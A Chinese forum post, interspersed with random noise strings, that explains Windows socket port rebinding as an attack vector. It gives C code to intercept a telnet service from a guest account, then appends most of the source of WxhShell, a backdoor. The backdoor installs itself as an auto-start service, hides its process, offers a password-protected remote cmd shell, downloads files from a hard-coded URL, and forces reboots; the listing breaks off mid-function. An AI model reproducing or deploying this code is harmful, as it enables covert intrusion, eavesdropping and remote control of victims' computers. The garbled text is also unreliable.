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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -*?p F_*w s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6`acg'sk> *oCxof9JA saddr.sin_family = AF_INET; Qh*)pt]n o&~dGG4J saddr.sin_addr.s_addr = htonl(INADDR_ANY); @B?FE\ wfE^Sb3 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); rn;<HT Hb+X}7c$ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]D O&x+Rb u$C\E<G^ 这意味着什么?意味着可以进行如下的攻击: Mm5c8[
1Pm4.C) 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 FH.f- ZU 6D|p Qs 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) P$g^vS+ E, GN| l 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?ty>}.c t vDsF-u1 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ioxbf6{ =~&VdPZ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 C0QM#"[ msiu8E 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3f"C!l]Xu z`4c 4h]I 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 vwmBUix lCR!:~ #include w9MoT.kI} #include M7rIi\4K4 #include \8e2?(@"k #include L_~8"I_ DWORD WINAPI ClientThread(LPVOID lpParam); (-,>qMQs int main() D SvmVI { yI&9\fn WORD wVersionRequested; >{wuEPA DWORD ret; U6<M/>RG$ WSADATA wsaData; Huc|6~X BOOL val; )hBE11,PB SOCKADDR_IN saddr; wPX*%0] SOCKADDR_IN scaddr; 8#w)X/ int err; 7b, (\Fm SOCKET s; ZIDbqQu SOCKET sc; _|A+) K int caddsize; {]^O:i" HANDLE mt; /,2rjJ#b DWORD tid; ;'0=T0\ wVersionRequested = MAKEWORD( 2, 2 ); D/CIA8h3 err = WSAStartup( wVersionRequested, &wsaData ); X%4Kj[I^ if ( err != 0 ) { [*Uu#9 printf("error!WSAStartup failed!\n"); ~W-cGb3c return -1; u#@RM^738d } 2z\e\I saddr.sin_family = AF_INET; 1y(UgEg \F{:5,Du) //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :5b0np! T7[NcZ:I saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); WF[bO7: saddr.sin_port = htons(23); F'FP0t!S if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) O6X"RsI} { 2: SO_O4C printf("error!socket failed!\n"); v+xB7w return -1; '#.#$8l } Ls}7VKl' val = TRUE; qtMD CXZ^n //SO_REUSEADDR选项就是可以实现端口重绑定的 Rko M~`CT if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .UQE{.? { i{Ds&{ printf("error!setsockopt failed!\n"); /<{: I \< return -1; D d,2;#_ } 5)UQWnd5 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; dg_G s>?2 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 > 'i //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 A6!F@Ic[ j.%K_h?V5 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) H
C0w;MG) { -1u9t4+` ret=GetLastError(); oyvKag printf("error!bind failed!\n"); n}?wVfEy return -1; Gh\q^?} } =r9r~SR# listen(s,2); KC#/Z2A|< while(1) Kr-G{b_Pp { Pw[g caddsize = sizeof(scaddr); !)pdamdA //接受连接请求 _>yoX sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); lz<]5T| if(sc!=INVALID_SOCKET) oM1Qh? { m@Rtlb mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ba'LRz if(mt==NULL) Bd~1P/ { )Xtnk printf("Thread Creat Failed!\n"); 3\:y8| break; 'hqBo| } ,xfO;yd } 8gy_Yj&{P CloseHandle(mt); gckI.[!b } @~ETj26U' closesocket(s); 2%u;$pj WSACleanup(); g(|{')8?d return 0; AUe# RP } ~1L:_Sg* DWORD WINAPI ClientThread(LPVOID lpParam) E3aDDFDH { XYrJ/!*. SOCKET ss = (SOCKET)lpParam; SF*n1V3hx SOCKET sc; {{yZ@>o6 unsigned char buf[4096]; D5,P)[ SOCKADDR_IN saddr; Wwujh2g"0| long num; EYX$pz(x; DWORD val; rXfy!rD_P_ DWORD ret; p-SJ6Gg
9 //如果是隐藏端口应用的话,可以在此处加一些判断 }"^'%C8EX //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 /Q{P3:k saddr.sin_family = AF_INET; ;j8)KC saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); JW.=T) saddr.sin_port = htons(23); :'iYxhM.V if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }Gyqq6Aeb { y|wlq3o printf("error!socket failed!\n"); ~m^ #FJu return -1; U.!lTLjfLz } j _L@U2i val = 100; ,#?uJTLH if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T"7~AbgNU { $(e#aHB ret = GetLastError(); &0zT I?c return -1; mZz="ZLa: } :j }fC8' if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zOgTQs"ZH { 03E4cYxt5 ret = GetLastError(); uvP2Wgt return -1; YjOs}TD lx } ' Z0r>. if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rE9I>|tX { 5NoI~X= printf("error!socket connect failed!\n"); =L;] ;i closesocket(sc); o]:3H8 closesocket(ss); VA*y|Q6 return -1; kVK/9dy-F } OCZaQ33 while(1) LJk%#yV|_ { )WT>@ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %1}K""/ //如果是嗅探内容的话,可以再此处进行内容分析和记录 D(-yjY8aG //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4SPy28<f num = recv(ss,buf,4096,0); o*U]v
if(num>0) s*U1 send(sc,buf,num,0); $un?0S else if(num==0) &nBa=Enf break; J]f3CU,<N num = recv(sc,buf,4096,0); e@:sR if(num>0) iu&wO<)+? send(ss,buf,num,0); AKMm&(fh% else if(num==0) ^P151*=D break; oF(Lji?m } ;qH O OT closesocket(ss); yE[#ze closesocket(sc); r'QnX;99T return 0 ; ok|qyN+ } V,rq0xW fd-q3_f OO[F E3F ========================================================== z~`b\A,$ 34\(7JO 下边附上一个代码,,WXhSHELL p-.n3AL !uQPc ========================================================== a5a($D Reatdh #include "stdafx.h" yR(x+Gs{] T)r9-wOq #include <stdio.h> Yn8= #include <string.h> Q0EiEX) #include <windows.h> ~ vqa7~}m #include <winsock2.h> R<OI1,..r #include <winsvc.h> 4Y[1aQ(% #include <urlmon.h> (}}S9 K W`c'=c #pragma comment (lib, "Ws2_32.lib") E[Cb|E #pragma comment (lib, "urlmon.lib") |4'Y/re jH_JmYd #define MAX_USER 100 // 最大客户端连接数 BcI|:qv| #define BUF_SOCK 200 // sock buffer zOQ>d|p?X #define KEY_BUFF 255 // 输入 buffer /7gOSwY q$=#A7H>3) #define REBOOT 0 // 重启 ?lP':'P #define SHUTDOWN 1 // 关机 E*+{t~ XQw>EZdj_N #define DEF_PORT 5000 // 监听端口 ,\NFt`]j y*X_T,K8 #define REG_LEN 16 // 注册表键长度 \L"kV!> #define SVC_LEN 80 // NT服务名长度 )ZN|t?| qvPtyc^fN // 从dll定义API Z?\>JM >; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B
~OZ2-~ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 720D V+o typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G37U6PuZi typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); '3uVkp 6tF 8@tV9+u // wxhshell配置信息 w K}T`*k struct WSCFG { 6i}iAP|0 int ws_port; // 监听端口 Dc,I7F|% char ws_passstr[REG_LEN]; // 口令 ~ 0M'7q' int ws_autoins; // 安装标记, 1=yes 0=no P-9<YN char ws_regname[REG_LEN]; // 注册表键名 E~6c -Lw char ws_svcname[REG_LEN]; // 服务名 vh$%9ed char ws_svcdisp[SVC_LEN]; // 服务显示名 %f]:I char ws_svcdesc[SVC_LEN]; // 服务描述信息 Dd\jHF>u char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0\e IQp int ws_downexe; // 下载执行标记, 1=yes 0=no RNe^;
B char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" }9FSO9*&} char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I"ok&^t^} |AozR ~ }; ,=[?yJy Rx}$0c0 // default Wxhshell configuration o6uJyCO struct WSCFG wscfg={DEF_PORT, ~GZY 5HF "xuhuanlingzhe", ):[7E(F= 1, o{y9r{~A "Wxhshell", :0Rx#%u}# "Wxhshell", E4M@WNPx "WxhShell Service", t&AFUt\c "Wrsky Windows CmdShell Service", V T\F]Oa# "Please Input Your Password: ", o%IA}e7PAa 1, {y_98N " http://www.wrsky.com/wxhshell.exe", )!P)U(*v "Wxhshell.exe" T[g[&K1Y }; ~=uWD&5B4 ,Vt/(x- // 消息定义模块 1ng!G 7g char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zN^n]N_? char *msg_ws_prompt="\n\r? for help\n\r#>"; +nJgl8'^y char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 2h5nMI]' char *msg_ws_ext="\n\rExit."; +lHjC$ char *msg_ws_end="\n\rQuit."; t%E!o0+8Z char *msg_ws_boot="\n\rReboot..."; sTn<#l6 char *msg_ws_poff="\n\rShutdown..."; hHV";bk char *msg_ws_down="\n\rSave to "; e,W%uH>X NTYg[VTr char *msg_ws_err="\n\rErr!"; %H]ptH5 char *msg_ws_ok="\n\rOK!"; ur:3W6ZKl 5\]Sv]s)R char ExeFile[MAX_PATH]; xdp`<POn% int nUser = 0; R#%(5-Zu#R HANDLE handles[MAX_USER]; 6\g cFfo int OsIsNt; .y!<t} (>nGQS]H SERVICE_STATUS serviceStatus; w9< R#y[A SERVICE_STATUS_HANDLE hServiceStatusHandle; _( {hc+9p Vf]
"L.G // 函数声明 Y 0d<~* int Install(void); @~^5l int Uninstall(void); 21K>`d\ int DownloadFile(char *sURL, SOCKET wsh); Vl&?U int Boot(int flag); ;:\<gVi: void HideProc(void); au:
fw int GetOsVer(void); u{['<r;I int Wxhshell(SOCKET wsl); RI(DXWM|h void TalkWithClient(void *cs); 9]f!'d!5 int CmdShell(SOCKET sock); tX_R_]v3 int StartFromService(void); a7r%X - int StartWxhshell(LPSTR lpCmdLine); ;f#v0W`5 gOSJM1Mr3 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vHryPl+ VOID WINAPI NTServiceHandler( DWORD fdwControl ); VVac: Br1&8L-|% // 数据结构和表定义 RP[{4Q8 SERVICE_TABLE_ENTRY DispatchTable[] = ,(qRc(Ho { }wr{W:j {wscfg.ws_svcname, NTServiceMain}, g{OwuAC_ {NULL, NULL} ObVGV }; Wh+{mvu# I&}L*Z?` // 自我安装 e!N:,`R
5 int Install(void) BTGvN% { RYQ<Zr$! char svExeFile[MAX_PATH]; nAW:utTB HKEY key; ?Y-%'J( strcpy(svExeFile,ExeFile); vK|E>nL 8@i7pBl@ // 如果是win9x系统,修改注册表设为自启动 Rdvk
ml@@ if(!OsIsNt) { vQosPS_2L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n.'8A(,r3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cv998*|X: RegCloseKey(key); WIC/AL' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0^I|ut4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C7lH]`W|/ RegCloseKey(key); '\Giv!> return 0; adCU61t } `q}I"iS } zM bN;tu } i
UCXAWP else { D!{Y$; "& ])lz[u // 如果是NT以上系统,安装为系统服务 =mS\i663 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $?Yry.2 if (schSCManager!=0) /oR0+sH] { Dv| #u|iw SC_HANDLE schService = CreateService @mOH"acGn? ( k;K)xb[w | schSCManager, U
9_9l7&r wscfg.ws_svcname, _"?.! wscfg.ws_svcdisp, |^: cG4e SERVICE_ALL_ACCESS, B~ ]k#Ot) SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Aydm2!l1 SERVICE_AUTO_START, xSktg]u Se SERVICE_ERROR_NORMAL, 7C,&*Ax,9 svExeFile, u$DHVRrF< NULL, jF ^~p9z NULL, msP{l^%0 NULL, rID#`:Hl-| NULL, EN$2,qf NULL K-bD<X ); `NCwK6/i if (schService!=0) ]NUl9t*N4 { JlH&?? CloseServiceHandle(schService); K(q+
" CloseServiceHandle(schSCManager); @Z*W strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7&t-pv92* strcat(svExeFile,wscfg.ws_svcname); YLqGRE`W if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1C<uz29 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z,sv9{4r RegCloseKey(key); Huy5-[)15 return 0; }Mst jm } v25R_""~ } )m`<H>[Eb= CloseServiceHandle(schSCManager); R n}l6kbM }
gp5_Z-me } *,e:]!* ]JCvyz
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return 1; zz+$=(T:M } KC/=TSSXd. -m)X]]~C // 自我卸载 pOGeruu? int Uninstall(void) v=0(~<7B { GR&z, HKEY key; .:@Ykdm4I d ^^bke$~ if(!OsIsNt) { GGNvu)" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Bzkoo J RegDeleteValue(key,wscfg.ws_regname);
3L<wQ( RegCloseKey(key); DnC{YK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E)TN,@% RegDeleteValue(key,wscfg.ws_regname); 6VS4y-N RegCloseKey(key); wP6Fl L return 0; D&od?3}E } "Ue.@> } K~AR*1??[ } '10oK {m$ else { j}%ja_9S wb]%m1H`: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cv?06x{ if (schSCManager!=0) q1z"-~i)E { n!NS(.o SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tXoWwQD;Y if (schService!=0) q;R],7Re { ;|pBFKx if(DeleteService(schService)!=0) { ,=UK}*e" CloseServiceHandle(schService); E0Y-7&Fv CloseServiceHandle(schSCManager); RTE8Uq36 return 0; RP~|PtLw_ } tmv&U;0Z CloseServiceHandle(schService); G'oG</A } N/Z2hn/m CloseServiceHandle(schSCManager); `);AW(Q } Xnz3p" } 6hlc1? oI=fx Sjd return 1; ukIQr/k } )[PtaPWeT G~Hzec{#tg // 从指定url下载文件 eFaO7mz5V% int DownloadFile(char *sURL, SOCKET wsh) "]"|"0#i { |bq$xp HRESULT hr; TOkp%@9/ char seps[]= "/"; }j^i}^Du, char *token; N9jH\0nG char *file; Hw7;;HK
7 char myURL[MAX_PATH]; B
P2=2)Q char myFILE[MAX_PATH]; Ka[t75~; uehDIl0\[b strcpy(myURL,sURL); I/&%]"[^u token=strtok(myURL,seps); E8pB;\Z( while(token!=NULL) 6{"$nF] { "/3 db[ file=token; vK9E token=strtok(NULL,seps); ]Bcp;D } E;Y;z M!/Cknm GetCurrentDirectory(MAX_PATH,myFILE); ]!I7Y.w6 strcat(myFILE, "\\"); { vKLAxc strcat(myFILE, file); n&"B0y cF send(wsh,myFILE,strlen(myFILE),0); P,xKZ{( send(wsh,"...",3,0); +_; l|uhT; hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8.XoVW# if(hr==S_OK) X.Rb-@ return 0; /JHc! D else J&M
o%"[) return 1; 7[> 6i F ~^Jmp7Y } `V`lo,"\ ht2\ y&si // 系统电源模块 AfX}y+Ah int Boot(int flag) ,u+PyG7 cb { Bk*F_>X" HANDLE hToken; 3on7~*
TOKEN_PRIVILEGES tkp;
{zn!vJX f|B=_p80 if(OsIsNt) { JBXrFC; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v3aYc:C LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }q $5ig tkp.PrivilegeCount = 1; eO?p*"p" F tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }
ud0&Oe{ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kMb}1J0i" if(flag==REBOOT) { h-G)o[MA if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #
WAZ9,t return 0; YE|SKx@ } Tw""}|] g else { G&i!Hs if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (#Wu#F1; return 0; /W>iJfx } $oj:e?8N } PmKeF} else { %>~sJ0 if(flag==REBOOT) { 4kBaB if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2 lj'"nm return 0; \#Pfj&* } M_"L9^^>N else { L1cI`9 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZUoxMm
return 0; \6R,Nq } w8MG(Lq1" } @JD;k> QR%mj*@Wle return 1; 2w["aVr
= } ,1 [q^-9 '}fzX2Q# // win9x进程隐藏模块 )n2 re?S void HideProc(void) %Z):>' { *=(lyx_O gDQ1?N'8{t HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9y<*8bI if ( hKernel != NULL ) 9~p[ { +y&Tf#.V/A pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !HnXXVW ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _#r+ !e FreeLibrary(hKernel); 7UdM } n/+.s(7c Cj{1H([- return; }+C2I } H@%GSE Uk^B"y_ // 获取操作系统版本 (C@m Lu) int GetOsVer(void) AaWs}M { ioYGZ%RG# OSVERSIONINFO winfo; !bN*\c winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X*{2[+<o GetVersionEx(&winfo); _$
+^q- if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VXR>]HUF return 1; "#{4d),r else z^#;~I @M return 0; KX'{[7}m' } e[&L9U6GW- D/vOs[X
o, // 客户端句柄模块 NT e5 int Wxhshell(SOCKET wsl) 5N/%v&1 { D ,o}el SOCKET wsh; ki?S~'a struct sockaddr_in client; 'VzP}; DWORD myID; q|!-0B@ @zU6t|mhz while(nUser<MAX_USER) <vONmE a { __|+w<] int nSize=sizeof(client); .QZaGw=,z wsh=accept(wsl,(struct sockaddr *)&client,&nSize); CG Y]r.O* if(wsh==INVALID_SOCKET) return 1; -f% ' q*_/to handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %oZ6l* if(handles[nUser]==0) }:us:% closesocket(wsh); @?yX!_YC else ]yK7PH-{L nUser++; BG6B : } OY;*zk WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Gd-'Z_ b <<+\X:, return 0; 5|o6v1bM } wr$M$i: j4jTSLQ\ // 关闭 socket =g9*UzA"O void CloseIt(SOCKET wsh) |=`~-i2W { /aZ+T5O closesocket(wsh); VUPXO nUser--; "alyfyBu'M ExitThread(0); x4;"!Kq\ } JtEo'As:[ 1IC~e^" // 客户端请求句柄 5ni~Q 9b void TalkWithClient(void *cs) T
6)bD& { b{L/4bu r:f[mk"-"A SOCKET wsh=(SOCKET)cs; S-
pV_Ff char pwd[SVC_LEN]; K/i*w<aPb7 char cmd[KEY_BUFF]; 1FlX'[vh char chr[1]; U+:m4a int i,j; _+K_5IO4 >7I15U while (nUser < MAX_USER) { 1*'HL# *>|gxM8 if(wscfg.ws_passstr) { +
+M$#Er& if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'ig&$fz b //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #_6I w`0 //ZeroMemory(pwd,KEY_BUFF); Q=AavKn# i=0; :S<f?*
}: while(i<SVC_LEN) { gl\\+VyU /?@3.3sl_ // 设置超时 pGJ>O/% fd_set FdRead; uE%r/:!k4$ struct timeval TimeOut; ([SU:F!uW( FD_ZERO(&FdRead); }001K FD_SET(wsh,&FdRead); sf)EMh3Z TimeOut.tv_sec=8; L ^q""[ TimeOut.tv_usec=0; $c0h.t int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7gj4j^a^]{ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [DJ|`^eKD -I8=T]_D if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K@I
D/]PF pwd =chr[0]; #$18*?tLv| if(chr[0]==0xd || chr[0]==0xa) { cAY: AtD pwd=0; _ FpTFfB break; ad*m%9Y1Q } Fq|Ni$ i++; z\K"Rg~J } yE:+Lo`> ;j[>9g // 如果是非法用户,关闭 socket h"X;3b^ m if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,]9P{k]O } >/l? g5{ i,>khc send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hIy ~B[' send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7gf05Z'= :r{<zd>; while(1) { /]K^
rw[ a1EOJ^}0 ZeroMemory(cmd,KEY_BUFF); J] {QB^? ]^h]t~ // 自动支持客户端 telnet标准 T|nDTezr j=0; z@!`:'ak while(j<KEY_BUFF) { "W6uV! if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OLyf8&AU@ cmd[j]=chr[0]; gG0!C))8 if(chr[0]==0xa || chr[0]==0xd) { BXtCSfY$ cmd[j]=0; b$N2z break; 9IjIIM2y } yA)/Q
Yge j++; \pPY37l } X <f8,n [xSF6 // 下载文件 B
Wk/DVue if(strstr(cmd,"http://")) { zr-*$1eu send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4{y)TZ if(DownloadFile(cmd,wsh)) \UPjf]& send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Gn2o2T else Y~c|hfL send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J\+0[~~ } B^4&-z2| else { E{XH?_xo $ `ov4W switch(cmd[0]) { L-ET<'u kVkU)hqR // 帮助 xN5) case '?': { `, OG7hg send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @5N]ZQ9 break; smlpD3?va } ;rF\kX&Jh // 安装 2;k*@k-t case 'i': { Sdp&jZY if(Install()) x-$&g*< send(wsh,msg_ws_err,strlen(msg_ws_err),0); VJeu8ZJ. else VEWi_;=J1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \:b3~%Fz break; T-.% } Bal$+S // 卸载 GzhYY"iif# case 'r': { J?V? R if(Uninstall()) `` ,fodA8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); gZN8!#h}B else 9B{k , 1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i+A3~w5c break; ~-ia+A6GIV } ]^yFaTfS // 显示 wxhshell 所在路径 8[a=OP case 'p': { 2GP=&K/A char svExeFile[MAX_PATH]; PC~Y8,A|.t strcpy(svExeFile,"\n\r"); bGN:=Y' strcat(svExeFile,ExeFile); 6Y^23W F send(wsh,svExeFile,strlen(svExeFile),0); nr95YSH break; ,c;Kzp>e } H3z:ZTI // 重启 {x|[p_? case 'b': { 8m-U){r!U^ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \HqNAE2T if(Boot(REBOOT)) t)~"4]{*}D send(wsh,msg_ws_err,strlen(msg_ws_err),0); @@R7p else { ,BH@j%Jmy closesocket(wsh); z6U\axO6 ExitThread(0); <`.X$r* } o)h_H; break; QX!-B } m,VOx7%n // 关机 =i$Fl{vH case 'd': { B-xGX$<z send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); / kE6@ if(Boot(SHUTDOWN)) b,5~b&<h send(wsh,msg_ws_err,strlen(msg_ws_err),0); ohRjvJ'v| else { q3mJ782p] closesocket(wsh); v_BcTzQ0S ExitThread(0); @:j}Jmg } 8NxM4$nQX break; B}n,b#,* } |9u OUE // 获取shell 0@[$lv;OS case 's': { 8*W#DH! CmdShell(wsh); .I7pA5V{# closesocket(wsh); *T-<|zQ ExitThread(0); {o)L c6T8s break; @'w"R/,n-@ } :G [|CPm- // 退出 QqDC4+p" case 'x': { VyXKZ%\dQ/ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y0Fb_"} CloseIt(wsh); &:;:"{t}Do break; ~FZ&.<s
} xu>9(,l // 离开
-?H#LUk case 'q': { &b.=M>\9Q send(wsh,msg_ws_end,strlen(msg_ws_end),0); F0pir(n- closesocket(wsh); hcgMZT!<5 WSACleanup(); 9%k2'iV7 exit(1); ?8I?'\F; break;
zkt+7,vI } <->{ } o15-ZzE- } "~#3&3HVS N,`$M.|? // 提示信息 mi=Q{>rb if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iNWw;_|1 } :WjpzgPuN } -c_74c50 i@C].X return; ]}Mj)J" m } US+Q~GTA (lXGmx8 // shell模块句柄 Sj-n;F|=X int CmdShell(SOCKET sock) spGb!Y`mR { -j+UMlkB STARTUPINFO si; 4~ q5,^kgB ZeroMemory(&si,sizeof(si)); [^R^8k si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Gk.
ruQW" si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |!1Y*|Q%s PROCESS_INFORMATION ProcessInfo; (jnzT=y char cmdline[]="cmd";
[/PR\'| CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ")_|69 VX return 0;
Hu^1[# } l\E%+?K+^ ",p;Sd // 自身启动模式 )s)I2Z+ int StartFromService(void) 4qphA9i1 { h(<,fg1 typedef struct /vY(o1o
x { _- [''(E DWORD ExitStatus; o906/5M DWORD PebBaseAddress; bH-ub2@qO DWORD AffinityMask; P#E &|n7DT DWORD BasePriority; Yab%/z2: ULONG UniqueProcessId; _A M*@|p, ULONG InheritedFromUniqueProcessId; Qn^' } PROCESS_BASIC_INFORMATION; dl.N.P7}4 rR$h* PROCNTQSIP NtQueryInformationProcess; }^4Xv^dW>g @y e4q.m static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G[B=>Cy static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V("{)0~O T!-\@PB ! HANDLE hProcess; y>R=`A1b PROCESS_BASIC_INFORMATION pbi; 6h>wt-tRC 9V'%<pk''( HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Eou~P h*t if(NULL == hInst ) return 0; CWf /H)~ \(~y? l g_pEnumProcessModules = 